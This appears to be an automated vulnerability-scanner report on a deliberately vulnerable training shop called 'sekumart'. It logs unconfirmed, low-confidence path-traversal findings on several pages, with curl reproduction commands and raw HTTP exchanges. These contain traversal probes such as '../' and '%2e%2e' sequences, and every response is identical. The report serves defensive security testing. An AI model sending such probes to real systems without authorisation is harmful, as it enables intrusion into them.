standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

file reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

file looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=sks1smomi/../1&url=1&name=1&search=1&query=1&page=1&filename=1'

GET /sekumart.sekuripy.hr/login.php?callback=1&file=sks1smomi/../1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:25 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:25 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=sks1smomi/../1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=sks1smomi/../1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:25 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=sks1smomi/%2e…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=sks1smomi/%2e%2e/1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:25 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=sks1smomi/1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=sks1smomi/1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:25 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=&url=1&name=1…

request

GET /sekumart.sekuripy.hr/login.php?callback=1&file=&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:26 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · filename unconfirmed · low confidence BV-030 info

location: GET https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1
input: filename in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

filename reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

filename looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/../1'

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/../1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:13 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:13 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/../1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:13 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/%2e%2e/1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:13 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=sksff2cfr/1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:13 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename= HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:13 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · filename unconfirmed · low confidence BV-031 info

location: GET https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1
input: filename in the query string
